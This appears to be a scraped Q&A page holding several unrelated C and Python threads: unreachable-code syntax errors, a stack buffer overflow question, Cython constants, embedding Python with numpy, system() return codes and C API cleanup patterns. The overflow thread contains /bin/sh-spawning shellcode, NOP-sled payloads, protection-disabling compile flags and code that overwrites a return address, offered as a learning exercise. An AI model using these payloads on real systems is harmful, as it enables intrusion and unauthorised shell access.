why python compiler doesn't ignore syntax errors after exit()? - python

I have a question about the python compiler.
I was running the below code but I got some errors that weren't logical.
if you run a python code and then add the exit() function to it, it would exit the program and the following codes wouldn't run. but I added the exit() function to my program and after the exit() function I had some syntax error and the program crashed because of the syntax error, I want to know why the python compiler didn't optimize my code before running it. I tried this issue with logical errors and it ignored the errors, like out of range index error and so on. so why the below code doesn't work and syntax error happens?
simple code:
print("Hi")
exit()
if
as you can see we run

It can't compile your program precisely because it's a compiler (to bytecode which it will later interpret). It doesn't stop parsing when it sees an exit(), unlike a shell reading and interpreting a shell script one line at a time. (That's not "optimization", BTW).
Python compiles it to bytecode that calls exit if that point in the program is reached. Even unreachable code has to be syntactically valid so the whole file compiles. But since it never actually executes, it can't cause any run-time errors.
It's not an arbitrary process. C compiler works smarter how does the C compiler can detect it?
For example, if you run a while 1 program with C it doesn't run because of logic. but why do python doesn't do the same thing?
That's not true.
C compilers choke on syntax errors in unreachable blocks, like int foo(){ if(0) if if; }. Also, while 1 isn't valid C syntax.
https://godbolt.org/z/cP83Y866b. Only #if 0 preprocessor stuff, or comments, can hide stuff from the compiler so it doesn't have to be valid syntax and grammar.
Syntax and grammar need to be valid in the whole file for it to parse into something to compiler can compile.
In C and C++, unreachable code (that isn't commented out) even has to be valid in terms of types matching, e.g. T x = y; won't compile if T is int but y's type is char*. That would be syntactically valid but "ill-formed". Per cppreference: Outside a template, a discarded statement is fully checked. if constexpr is not a substitute for the #if preprocessing directive
But inside a template, it can, for example hide stuff. https://godbolt.org/z/frTcbMb3T
template <typename T> // being a template function makes if constexpr special
void foo(int x) {
if constexpr (false) {
int x = "hi"; // ill-formed, type mismatch. But still valid *syntax*
}
#if 1 // 0 would truly ignore all text until the closing #endif
if constexpr (false) {
// int x = = 2; // syntax error if uncommented
}
#endif
}

Related

Why is my stack buffer overflow exploit not working?

So I have a really simple stackoverflow:
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}
I'm trying to overflow with this code:
$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
When I overflow the stack, I successfully overwrite EIP with my wanted address but then nothing happens. It doesn't execute my shellcode.
Does anyone see the problem? Note: My python may be wrong.
UPDATE
What I don't understand is why my code is not executing. For instance if I point eip to nops, the nops never get executed. Like so,
$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
UPDATE
Could someone be kind enough to exploit this overflow yourself on linux
x86 and post the results?
UPDATE
Nevermind ya'll, I got it working. Thanks for all your help.
UPDATE
Well, I thought I did. I did get a shell, but now I'm trying again and I'm having problems.
All Im doing is overflowing the stack at the beginning and pointing my shellcode there.
Like so,
r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
This should point to the A's. Now what I dont understand is why my address at the end gets changed in gdb.
This is what gdb gives me,
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
The \xcc gets changed to \xcd. Could this have something to do with the error I get with gdb?
When I fill that address with "B"'s for instance it resolves fine with \x42\x42\x42\x42. So what gives?
Any help would be appreciated.
Also, I'm compiling with the following options:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
It's really odd because any other address works except the one I need.
UPDATE
I can successfully spawn a shell with the following in gdb,
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
But I don't understand why this works sometimes and doesn't work other times. Sometimes my overwritten eip is changed by gdb. Does anyone know what I am missing? Also, I can only spwan a shell in gdb and not in the normal process. And on top of that, I can only seem to start a shell once in gdb and then gdb stops working.
For instance, now when I run the following I get this in gdb...
Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')
Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
This seems to be caused by execstack be turned on.
UPDATE
Yeah, for some reason I'm getting different results but the exploit is working now. So thank you everyone for your help. If anyone can explain the results I received above, I'm all ears. Thanks.
There are several protections, for the attack straight from the
compiler. For example your stack may not be executable.
readelf -l <filename>
if your output contains something like this:
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
this means that you can only read and write on the stack ( so you should "return to libc" to spawn your shell).
Also there could be a canary protection, meaning there is a part of the memory between your variables and the instruction pointer that contains a phrase that is checked for integrity and if it is overwritten by your string the program will exit.
if your are trying this on your own program consider removing some of the protections with gcc commands:
gcc -z execstack
Also a note on your assembly, you usually include nops before your shell code, so you don't have to target the exact address that your shell code is starting.
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
Note that in the address that should be placed inside the instruction pointer
you can modify the last hex digits to point somewhere inside your nops and not
necessarily at the beginning of your buffer.
Of course gdb should become your best friend if you are trying something
like that.
Hope this helps.
This isn't going to work too well [as written]. However, it is possible, so read on ...
It helps to know what the actual stack layout is when the main function is called. It's a bit more complicated than most people realize.
Assuming a POSIX OS (e.g. linux), the kernel will set the stack pointer at a fixed address.
The kernel does the following:
It calculates how much space is needed for the environment variable strings (i.e. strlen("HOME=/home/me") + 1 for all environment variables and "pushes" these strings onto the stack in a downward [towards lower memory] direction. It then calculates how many there were (e.g. envcount) and creates an char *envp[envcount + 1] on the stack and fills in the envp values with pointers to the given strings. It null terminates this envp
A similar process is done for the argv strings.
Then, the kernel loads the ELF interpreter. The kernel starts the process with the starting address of the ELF interpreter. The ELF interpreter [eventually] invokes the "start" function (e.g. _start from crt0.o) which does some init and then calls main(argc,argv,envp)
This is [sort of] what the stack looks like when main gets called:
"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"
// alignment pad ...
char *envp[4] = {
// address of "HOME" string
// address of "LOGNAME" string
// address of "SHELL" string
NULL
};
// string for argv[0] ...
// string for argv[1] ...
// ...
char *argv[] = {
// pointer to argument string 0
// pointer to argument string 1
// pointer to argument string 2
NULL
}
// possibly more stuff put in by ELF interpreter ...
// possibly more stuff put in by _start function ...
On an x86, the argc, argv, and envp pointer values are put into the first three argument registers of the x86 ABI.
Here's the problem [problems, plural, actually] ...
By the time all this is done, you have little to no idea what the address of the shell code is. So, any code you write must be RIP-relative addressing and [probably] built with -fPIC.
And, the resultant code can't have a zero byte in the middle because this is being conveyed [by the kernel] as an EOS terminated string. So, a string that has a zero (e.g. <byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,...) would only transfer the first three bytes and not the entire shell code program.
Nor do you have a good idea as to what the stack pointer value is.
Also, you need to find the memory word on the stack that has the return address in it (i.e. this is what the start function's call main asm instruction pushes).
This word containing the return address must be set to the address of the shell code. But, it doesn't always have a fixed offset relative to a main stack frame variable (e.g. buf). So, you can't predict what word on the stack to modify to get the "return to shellcode" effect.
Also, on x86 architectures, there is special mitigation hardware. For example, a page can be marked NX [no execute]. This is usually done for certain segments, such as the stack. If the RIP is changed to point to the stack, the hardware will fault out.
Here's the [easy] solution ...
gcc has some intrinsic functions that can help: __builtin_return_address, __builtin_frame_address.
So, get the value of the real return address from the intrinsic [call this retadr]. Get the address of the stack frame [call this fp].
Starting from fp and incrementing (by sizeof(void*)) toward higher memory, find a word that matches retadr. This memory location is the one you want to modify to point to the shell code. It will probably be at offset 0 or 8
So, then do: *fp = argv[1] and return.
Note, extra steps may be necessary because if the stack has the NX bit set, the string pointed to by argv[1] is on the stack as mentioned above.
Here is some example code that works:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
void
shellcode(void)
{
static char buf[] = "shellcode: hello\n";
char *cp;
for (cp = buf; *cp != 0; ++cp);
// NOTE: in real shell code, we couldn't rely on using this function, so
// these would need to be the CPP macro versions: _syscall3 and _syscall2
// respectively or the syscall function would need to be _statically_
// linked in
syscall(SYS_write,1,buf,cp - buf);
syscall(SYS_exit,0);
}
int
main(int argc,char **argv)
{
void *retadr = __builtin_return_address(0);
void **fp = __builtin_frame_address(0);
int iter;
printf("retadr=%p\n",retadr);
printf("fp=%p\n",fp);
// NOTE: for your example, replace:
// *fp = (void *) shellcode;
// with:
// *fp = (void *) argv[1]
for (iter = 20; iter > 0; --iter, fp += 1) {
printf("fp=%p %p\n",fp,*fp);
if (*fp == retadr) {
*fp = (void *) shellcode;
break;
}
}
if (iter <= 0)
printf("main: no match\n");
return 0;
}
I was having similar problems when trying to perform a stack buffer overflow. I found that my return address in GDB was different than that in a normal process. What I did was add the following:
unsigned long printesp(void){
__asm__("movl %esp,%eax");
}
And called it at the end of main right before Return to get an idea where the stack was. From there I just played with that value subtracting 4 from the printed ESP until it worked.

How do I set constants at run-time in a c++ header file, imported through Cython?

I have some C++ code that currently relies on hard-coded constants, which are imported into multiple other cpp files, and I would like my python (pyx) file to set the constants once at runtime.
So, cython.pyx imports files a.cpp, b.cpp, and c.cpp, and constants.hpp
Files a.cpp, b.cpp, and c.cpp all import constants.hpp.
I would like instead to have one universal constants file, eg new_constants.yml, which python imports and sends through to the cpp files. This also means (I think) that I won't have to re-compile the c code every time I want to tweak the constants.
I'm used to scripting languages (python, js), so working with old C++ code is throwing me off a bit, and I'm sure parts of this question sound like I'm retarded, so, thanks for being patient with me.
These are just some weird dependencies, and I can't wrap my mind around unspooling it.
C++ literally inserts #include'd files into the code at compile time (technically before compile time - during the preprocessor run), so there is no way to change those values at runtime.
if you have the following
foo.h
const int value = 42;
and foo.cpp
#include "foo.h"
int foo(){ return value; }
When you compile foo.cpp, the preprocessor will substitute the exact contents of foo.h to replace #include "foo.h" in the cpp file and then the compiler will see
const int value = 42;
int foo(){ return value; }
and nothing else
The original source code for a c++ program is completely discarded once compilation is complete and is never used again.
You can see what the compiler sees using the -E flag to gcc which will make it output the pre-processed source.

Python - C embedded Segmentation fault

I am facing a problem similar to the Py_initialize / Py_Finalize not working twice with numpy .. The basic coding in C:
Py_Initialize();
import_array();
//Call a python function which imports numpy as a module
//Py_Finalize()
The program is in a loop and it gives a seg fault if the python code has numpy as one of the imported module. If I remove numpy, it works fine.
As a temporary work around I tried not to use Py_Finalize(), but that is causing huge memory leaks [ observed as the memory usage from TOP keeps on increasing ]. And I tried but did not understand the suggestion in that link I posted. Can someone please suggest the best way to finalize the call while having imports such as numpy.
Thanks
santhosh.
I recently faced a very similar issue and developed a workaround that works for my purposes, so I thought I would write it here in the hope it might help others.
The problem
I work with some postprocessing pipeline for which I can write a own functor to work on some data passing through the pipeline and I wanted to be able to use Python scripts for some of the operations.
The problem is that the only thing I can control is the functor itself, which gets instantiated and destroyed at times beyond my control. I furthermore have the problem that even if I do not call Py_Finalize the pipeline sometimes crashes once I pass another dataset through the pipeline.
The solution in a Nutshell
For those who don't want to read the whole story and get straight to the point, here's the gist of my solution:
The main idea behind my workaround is not to link against the Python library, but instead load it dynamically using dlopen and then get all the addresses of the required Python functions using dlsym. Once that's done, one can call Py_Initialize() followed by whatever you want to do with Python functions followed by a call to Py_Finalize() once you're done. Then, one can simply unload the Python library. The next time you need to use Python functions, simply repeat the steps above and Bob's your uncle.
However, if you are importing NumPy at any point between Py_Initialize and Py_Finalize, you will also need to look for all the currently loaded libraries in your program and manually unload those using dlclose.
Detailed workaround
Loading instead of linking Python
The main idea as I mentioned above is not to link against the Python library. Instead, what we will do is load the Python library dynamically using dlopen():
#include
...
void* pHandle = dlopen("/path/to/library/libpython2.7.so", RTLD_NOW | RTLD_GLOBAL);
The code above loads the Python shared library and returns a handle to it (the return type is an obscure pointer type, thus the void*). The second argument (RTLD_NOW | RTLD_GLOBAL) is there to make sure that the symbols are properly imported into the current application's scope.
Once we have a pointer to the handle of the loaded library, we can search that library for the functions it exports using the dlsym function:
#include <dlfcn.h>
...
// Typedef named 'void_func_t' which holds a pointer to a function with
// no arguments with no return type
typedef void (*void_func_t)(void);
void_func_t MyPy_Initialize = dlsym(pHandle, "Py_Initialize");
The dlsym function takes two parameters: a pointer to the handle of the library that we obtained previously and the name of the function we are looking for (in this case, Py_Initialize). Once we have the address of the function we want, we can create a function pointer and initialize it to that address. To actually call the Py_Initialize function, one would then simply write:
MyPy_Initialize();
For all the other functions provided by the Python C-API, one can just add calls to dlsym and initialize function pointers to its return value and then use those function pointers instead of the Python functions. One simply has to know the parameter and return value of the Python function in order to create the correct type of function pointer.
Once we are finished with the Python functions and call Py_Finalize using a procedure similar to the one for Py_Initialize one can unload the Python dynamic library in the following way:
dlclose(pHandle);
pHandle = NULL;
Manually unloading NumPy libraries
Unfortunately, this does not solve the segmentation fault problems that occur when importing NumPy. The problems comes from the fact that NumPy also loads some libraries using dlopen (or something equivalent) and those do not get unloaded them when you call Py_Finalize. Indeed, if you list all the loaded libraries within your program, you will notice that after closing the Python environment with Py_Finalize, followed by a call to dlclose, some NumPy libraries will remain loaded in memory.
The second part of the solution requires to list all the Python libraries that remain in memory after the call dlclose(pHandle);. Then, for each of those libraries, grab a handle to them and then call dlcloseon them. After that, they should get unloaded automatically by the operating system.
Fortunately, there are functions under both Windows and Linux (sorry MacOS, couldn't find anything that would work in your case...):
- Linux: dl_iterate_phdr
- Windows: EnumProcessModules in conjunction with OpenProcess and GetModuleFileNameEx
Linux
This is rather straight forward once you read the documentation about dl_iterate_phdr:
#include <link.h>
#include <string>
#include <vector>
// global variables are evil!!! but this is just for demonstration purposes...
std::vector<std::string> loaded_libraries;
// callback function that gets called for every loaded libraries that
// dl_iterate_phdr finds
int dl_list_callback(struct dl_phdr_info *info, size_t, void *)
{
loaded_libraries.push_back(info->dlpi_name);
return 0;
}
int main()
{
...
loaded_libraries.clear();
dl_iterate_phdr(dl_list_callback, NULL);
// loaded_libraries now contains a list of all dynamic libraries loaded
// in your program
....
}
Basically, the function dl_iterate_phdr cycles through all the loaded libraries (in the reverse order they were loaded) until either the callback returns something other than 0 or it reaches the end of the list. To save the list, the callback simply adds each element to a global std::vector (one should obviously avoid global variables and use a class for example).
Windows
Under Windows, things get a little more complicated, but still manageable:
#include <windows.h>
#include <psapi.h>
std::vector<std::string> list_loaded_libraries()
{
std::vector<std::string> m_asDllList;
HANDLE hProcess(OpenProcess(PROCESS_QUERY_INFORMATION
| PROCESS_VM_READ,
FALSE, GetCurrentProcessId()));
if (hProcess) {
HMODULE hMods[1024];
DWORD cbNeeded;
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
const DWORD SIZE(cbNeeded / sizeof(HMODULE));
for (DWORD i(0); i < SIZE; ++i) {
TCHAR szModName[MAX_PATH];
// Get the full path to the module file.
if (GetModuleFileNameEx(hProcess,
hMods[i],
szModName,
sizeof(szModName) / sizeof(TCHAR))) {
#ifdef UNICODE
std::wstring wStr(szModName);
std::string tModuleName(wStr.begin(), wStr.end());
#else
std::string tModuleName(szModName);
#endif /* UNICODE */
if (tModuleName.substr(tModuleName.size()-3) == "dll") {
m_asDllList.push_back(tModuleName);
}
}
}
}
CloseHandle(hProcess);
}
return m_asDllList;
}
The code in this case is slightly longer than for the Linux case, but the main idea is the same: list all the loaded libraries and save them into a std::vector. Don't forget to also link your program to the Psapi.lib!
Manual unloading
Now that we can list all the loaded libraries, all you need to do is find among those the ones that come from loading NumPy, grab a handle to them and then call dlclose on that handle. The code below will work on both Windows and Linux, provided that you use the dlfcn-win32 library.
#ifdef WIN32
# include <windows.h>
# include <psapi.h>
# include "dlfcn_win32.h"
#else
# include <dlfcn.h>
# include <link.h> // for dl_iterate_phdr
#endif /* WIN32 */
#include <string>
#include <vector>
// Function that list all loaded libraries (not implemented here)
std::vector<std::string> list_loaded_libraries();
int main()
{
// do some preprocessing stuff...
// store the list of loaded libraries now
// any libraries that get added to the list from now on must be Python
// libraries
std::vector<std::string> loaded_libraries(list_loaded_libraries());
std::size_t start_idx(loaded_libraries.size());
void* pHandle = dlopen("/path/to/library/libpython2.7.so", RTLD_NOW | RTLD_GLOBAL);
// Not implemented here: get the addresses of the Python function you need
MyPy_Initialize(); // Needs to be defined somewhere above!
MyPyRun_SimpleString("import numpy"); // Needs to be defined somewhere above!
// ...
MyPyFinalize(); // Needs to be defined somewhere above!
// Now list the loaded libraries again and start manually unloading them
// starting from the end
loaded_libraries = list_loaded_libraries();
// NB: this below assumes that start_idx != 0, which should always hold true
for(std::size_t i(loaded_libraries.size()-1) ; i >= start_idx ; --i) {
void* pHandle = dlopen(loaded_libraries[i].c_str(),
#ifdef WIN32
RTLD_NOW // no support for RTLD_NOLOAD
#else
RTLD_NOW|RTLD_NOLOAD
#endif /* WIN32 */
);
if (pHandle) {
const unsigned int Nmax(50); // Avoid getting stuck in an infinite loop
for (unsigned int j(0) ; j < Nmax && !dlclose(pHandle) ; ++j);
}
}
}
Final words
The examples shown here capture the basic ideas behind my solution, but can certainly be improved to avoid global variables and facilitate ease of use (for example, I wrote a singleton class that handles the automatic initialization of all the function pointers after loading the Python library).
I hope this can be useful to someone in the future.
References
dl_iterate_phdr: https://linux.die.net/man/3/dl_iterate_phdr
PsAPI library: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684894(v=vs.85).aspx
OpenProcess: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
EnumProcess: https://msdn.microsoft.com/en-us/library/windows/desktop/ms682629(v=vs.85).aspx
GetModuleFileNameEx: https://msdn.microsoft.com/en-us/library/windows/desktop/ms683198(v=vs.85).aspx
dlfcn-win32 library: library: https://github.com/dlfcn-win32/dlfcn-win32
I'm not quite sure how you don't seem to understand the solution posted in Py_initialize / Py_Finalize not working twice with numpy. The solution posted is quite simple: call Py_Initialize and Py_Finalize only once for each time your program executes. Do not call them every time you run the loop.
I assume that your program, when it starts, runs some initialization commands (which are only run once). Call Py_Initialize there. Never call it again. Also, I assume that when your program terminates, it has some code to tear down things, dump log files, etc. Call Py_Finalize there. Py_Initialize and Py_Finalize are not intended to help you manage memory in the Python interpreter. Do not use them for that, as they cause your program to crash. Instead, use Python's own functions to get rid of objects you don't want to keep.
If you really MUST create a new environment every time you run your code, you can use Py_NewInterpreter and to create a sub-interpreter and Py_EndInterpreter to destroy that sub-interpreter later. They're documented near the bottom of the Python C API page. This works similarly to having a new interpreter, except that modules are not re-initialized each time a sub-interpreter starts.

c system() return from python script - confusing!

I need to call through to a python script from C and be able to catch return values from it. it doesn't particularly matter what the values are, they may as well be an enum, but the values I got out of a test case confused me, and I wanted to get to the bottom of what I was seeing.
So, here is the C:
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
int out = 0;
out = system("python /1.py");
printf("script 1 returned %d\n", out);
return 0;
}
and here is /1.py :
import sys
sys.exit(1)
The output of these programs is this:
script 1 returned 256
some other values:
2 -> 512
800 -> 8192
8073784 -> 14336
Assuming that it is...reading in little rather than big endian, or something? how can I write a c function (or trick python in)to correctly returning and interpret the numbers?
From the Linux documentation on system():
... return status is in the format specified in wait(2). Thus, the exit code of the command will be WEXITSTATUS(status) ...
From following the link on wait, we get the following:
WEXITSTATUS(status): returns the exit status of the child. ... This macro should only be employed if WIFEXITED returned true.
What this amounts to is that you can't use the return value of system() directly, but must use macros to manipulate them. And, since this is conforming to the C standard and not just the Linux implementation, you will need to use the same procedure for any operating environment that you are using.
The system() call return value is in the format specified by waitpid(). The termination status is not as defined for the sh utility. I can't recall but it works something like:
int exit_value, signal_num, dumped_core;
...
exit_value = out >> 8;
signal_num = out & 127;
dumped_core = out & 128;

How important is it to check return values when using the Python C API?

It seems that everytime I call a function that returns a PyObject*, I have to add four lines of error checking. Example:
py_fullname = PyObject_CallMethod(os, "path.join", "ss", folder, filename);
if (!py_fullname) {
Py_DECREF(pygame);
Py_DECREF(os);
return NULL;
}
image = PyObject_CallMethodObjArgs(pygame, "image.load", py_fullname, NULL);
Py_DECREF(py_fullname);
if (!image) {
Py_DECREF(pygame);
Py_DECREF(os);
return NULL;
}
image = PyObject_CallMethodObjArgs(image, "convert", NULL);
if (!image) {
Py_DECREF(pygame);
Py_DECREF(os);
return NULL;
}
Am I missing something? Is there a better way to do this? This has the added problem that I may forget all the stuff I'm supposed to Py_DECREF().
That's why goto is alive (though not entirely well;-) in C coding (as opposed to C++ and other languages that support exceptions): it's the only decent way to NOT have such repeated blocks of termination all over the mainline of your code -- a conditional forward jump to errorexit at each return-value check, with a label errorexit: that does the decrefs (and file closes, and whatever else you need to do at termination) and the return NULL.
Here are two ways I might write that code, influenced by my experience writing in two heavily macro-ised pseudo-assembler languages, one of which wasn't C. I've moved the deref of fullname, not because it's wrong in your code, but because I want to demonstrate how you handle a longer-lived resource in both schemes. So imagine that "fullname" is going to be needed again later in the routine:
Arrow code
result = NULL;
py_fullname = PyObject_CallMethod(os, "path.join", "ss", folder, filename);
if (py_fullname) {
image = PyObject_CallMethodObjArgs(pygame, "image.load", py_fullname, NULL);
if (image) {
image = PyObject_CallMethodObjArgs(image, "convert", NULL);
result = // something to do with image, presumably.
}
Py_DECREF(py_fullname);
}
Py_DECREF(pygame);
Py_DECREF(os);
return result;
The way this game is played, is that whenever you call a function which returns a resource, you check the return value immediately (or perhaps after freeing some resource which is no longer required, as in your example code), and the block corresponding to a successful call must either release the resource, or assign it to a return value, or actually return it, before the block is exited. This will usually be either in the second line of the block, after it has been used in the first line, or else in the last line of the block.
It's called "arrow code" because if you make 5 or 6 such calls in a function, you end up with 5 or 6 levels of indentation, and your function looks like a "turn right" sign. When this happens you either refactor, or you go against your every Pythonic instinct, use tabs for indentation, and reduce the tab stops ;-)
Goto
result = NULL;
py_fullname = PyObject_CallMethod(os, "path.join", "ss", folder, filename);
if (!py_fullname) goto cleanup_pygame
image = PyObject_CallMethodObjArgs(pygame, "image.load", py_fullname, NULL);
if (!image) goto cleanup_fullname
image = PyObject_CallMethodObjArgs(image, "convert", NULL);
result = // something to do with image, presumably.
cleanup_fullname:
Py_DECREF(py_fullname);
cleanup_pygame:
Py_DECREF(pygame);
Py_DECREF(os);
return result;
This goto code is structurally identical to the arrow code, just less indented and easier to mess up and jump to the wrong label. In some circumstances you will clean up different resources on success from what you clean up on failure (for instance if you're constructing and returning something, then on failure you need to clean up whatever you've done so far, but on success you only clean up what you're not returning). Those are the circumstances where the goto code is a clear win over the arrow code, because you can have separate cleanup paths for the two cases, but they still look the same, appear together at the end of the routine, and perhaps even share code. So you might end up with something like this:
result = NULL;
helper = allocate_something;
if (!helper) goto return_result;
result = allocate_something_else;
if (!result) goto error_return; // OK, result is already NULL, but it makes the point
result->contents = allocate_another_thing;
if (!result->contents) goto error_cleanup_result;
result->othercontents = allocate_last_thing;
if (!result->othercontents) goto error_cleanup_contents;
free_helper:
free(helper);
return_result:
return result;
error_cleanup_contents:
free(result->contents);
error_cleanup_result:
free(result);
error_return;
result = NULL;
goto free_helper;
Yes, it's horrible, and Python or C++ programmers will be physically sick at the sight of it. If I never have to write code like this again, I won't be all that disappointed. But as long as you have a systematic scheme for how resources are cleaned up, you should always know exactly what error label to jump to when something goes wrong, and that error label should "know" to clean up all resources that have been allocated so far. Doing it in reverse order allows fall-through to share the code. And once you're used to it, it's reasonably easy to do two things: first follow the path from any given error label, to the exit, and confirm that everything which should be freed is freed. Second, see the difference between two error cases, and confirm that this is the correct difference between the error-handling needed, because the difference is precisely to free the thing that was allocated in between the jumps to those labels.
That said, a semi-decent optimising compiler will common up the code for the error cases in your example. It's just easier to make a mistake when you have code copy-and-pasted about the place like that, especially when you modify it later.
This is the C API. If you code in C only, you may have to live with it, but if your application is coded in C++, you might want a take a look at a C++/Python wrapper.
This is one of the reasons why C++ introduces exception handling and RAII. Assuming you can use C++, you can create a function that invokes the C function, tests the result, and throws an exception if an error occurred. That way, you can call the wrapper without any checks... if an error occurs, it will throw the exception. However, there is no need to reinvent the wheel, check out the Boost.Python library.
While I don't see it often I consider this a good solution for C programmers ("the goto with tie"):
result = NULL;
// make sure all variables are initialized
do
{
py_fullname = PyObject_CallMethod(os, "path.join", "ss", folder, filename);
if (!py_fullname)
{
// some additional error handling here
// write a trace message with __FILE__ and __LINE__
break;
}
image = PyObject_CallMethodObjArgs(pygame, "image.load", py_fullname, NULL);
if (!image)
{
// some additional error handling here
break;
}
image = PyObject_CallMethodObjArgs(image, "convert", NULL);
result = // something to do with image, presumably.
} while (true);
if (py_fullname)
Py_DECREF(py_fullname);
if (pygame)
Py_DECREF(pygame);
if (os)
Py_DECREF(os);
return result;
There are several advantages:
Only one exit in the function - you can set a breakpoint at the end and be sure it works
Cleanup code is not repeated
No cascaded ifs
Error checking is done as early as possible and points exactly to the problem (trace message)
Initializing all variables is a good idea anyhow so why not use it in the cleanup section?
I recommend to write some macros in order to unify the code:
#define CATCH_BEGIN do {
#define CATCH_END } while (1!=1);
#define CLEANUP_VOID(function,var) {if (var != NULL) { function(var); var = NULL;}}
This allows to cleanup at the end like this:
CLEANUP_VOID(Py_DECREF, py_fullname)
CLEANUP_VOID(Py_DECREF, pygame)
CLEANUP_VOID(Py_DECREF, os)

Categories